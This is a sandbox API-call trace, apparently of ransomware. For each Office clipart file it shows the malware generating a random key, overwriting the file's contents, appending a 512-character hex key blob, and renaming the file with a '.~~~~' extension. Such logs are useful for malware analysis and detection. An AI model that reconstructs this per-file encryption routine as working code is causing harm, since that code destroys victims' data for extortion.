	[0103.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0103.429] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22341946541) returned 1
	[0103.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7552070, dwHighDateTime=0x1d60e1e)) 
	[0103.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28639b8
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28639b8 | out: hHeap=0x300000) returned 1
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0103.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866d60
	[0103.430] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0103.430] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0103.430] GetLastError () returned 0x0
	[0103.431] GetLastError () returned 0x0
	[0103.431] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0103.431] GetLastError () returned 0x0
	[0103.431] GetLastError () returned 0x0
	[0103.437] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdde4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.437] WriteFile (in: hFile=0x120, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x221c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x221c, lpOverlapped=0x0) returned 1
	[0103.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.439] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.439] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.439] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.439] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.439] CloseHandle (hObject=0x120) returned 1
	[0103.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0103.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.~~~~")) returned 1
	[0103.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0103.441] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.441] GetLastError () returned 0x0
	[0103.441] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0103.443] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.443] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0103.443] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22343297926) returned 1
	[0103.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa75781d0, dwHighDateTime=0x1d60e1e)) 
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28639f0
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28639f0 | out: hHeap=0x300000) returned 1
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.443] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0103.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28673e8
	[0103.444] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0103.444] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0103.444] GetLastError () returned 0x0
	[0103.444] GetLastError () returned 0x0
	[0103.444] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0103.444] GetLastError () returned 0x0
	[0103.444] GetLastError () returned 0x0
	[0103.446] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff554, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.447] WriteFile (in: hFile=0x120, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0xaac, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0xaac, lpOverlapped=0x0) returned 1
	[0103.447] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.447] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.447] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.448] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.448] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.448] CloseHandle (hObject=0x120) returned 1
	[0103.448] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0103.448] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.~~~~")) returned 1
	[0103.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0103.453] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.453] GetLastError () returned 0x0
	[0103.454] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0103.456] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.456] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0103.456] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22344612207) returned 1
	[0103.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa759e330, dwHighDateTime=0x1d60e1e)) 
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863a28
	[0103.456] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.456] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863a28 | out: hHeap=0x300000) returned 1
	[0103.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0103.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.457] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867480
	[0103.457] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0103.457] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0103.457] GetLastError () returned 0x0
	[0103.457] GetLastError () returned 0x0
	[0103.457] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0103.457] GetLastError () returned 0x0
	[0103.458] GetLastError () returned 0x0
	[0103.781] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdc6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.781] WriteFile (in: hFile=0x120, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x2394, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x2394, lpOverlapped=0x0) returned 1
	[0103.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0103.794] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.811] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.812] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.812] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.812] CloseHandle (hObject=0x120) returned 1
	[0103.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.813] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.~~~~")) returned 1
	[0103.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0103.814] GetLastError () returned 0x0
	[0104.050] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.052] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.052] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.052] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.052] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22404252324) returned 1
	[0104.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7b45770, dwHighDateTime=0x1d60e1e)) 
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28b9850
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28b9850 | out: hHeap=0x300000) returned 1
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d320
	[0104.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866938
	[0104.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d320 | out: hHeap=0x300000) returned 1
	[0104.053] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.054] GetLastError () returned 0x0
	[0104.054] GetLastError () returned 0x0
	[0104.054] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.054] GetLastError () returned 0x0
	[0104.054] GetLastError () returned 0x0
	[0104.062] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff8c5e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.062] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x73a2, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x73a2, lpOverlapped=0x0) returned 1
	[0104.063] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.064] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.064] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.064] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.064] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.064] CloseHandle (hObject=0xc4) returned 1
	[0104.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.~~~~")) returned 1
	[0104.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.065] GetLastError () returned 0x0
	[0104.066] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.067] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.067] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0104.068] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22405780146) returned 1
	[0104.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa7b6b8d0, dwHighDateTime=0x1d60e1e)) 
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863bb0
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863bb0 | out: hHeap=0x300000) returned 1
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867c38
	[0104.069] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.069] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0104.069] GetLastError () returned 0x0
	[0104.069] GetLastError () returned 0x0
	[0104.069] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0104.069] GetLastError () returned 0x0
	[0104.069] GetLastError () returned 0x0
	[0104.072] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffcc96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.072] WriteFile (in: hFile=0xc4, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x336a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x24dfec0*=0x336a, lpOverlapped=0x0) returned 1
	[0104.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.073] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.073] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.074] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.074] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.074] CloseHandle (hObject=0xc4) returned 1
	[0104.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.074] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.~~~~")) returned 1
	[0104.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0104.075] GetLastError () returned 0x0
	[0104.075] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0104.077] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.077] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
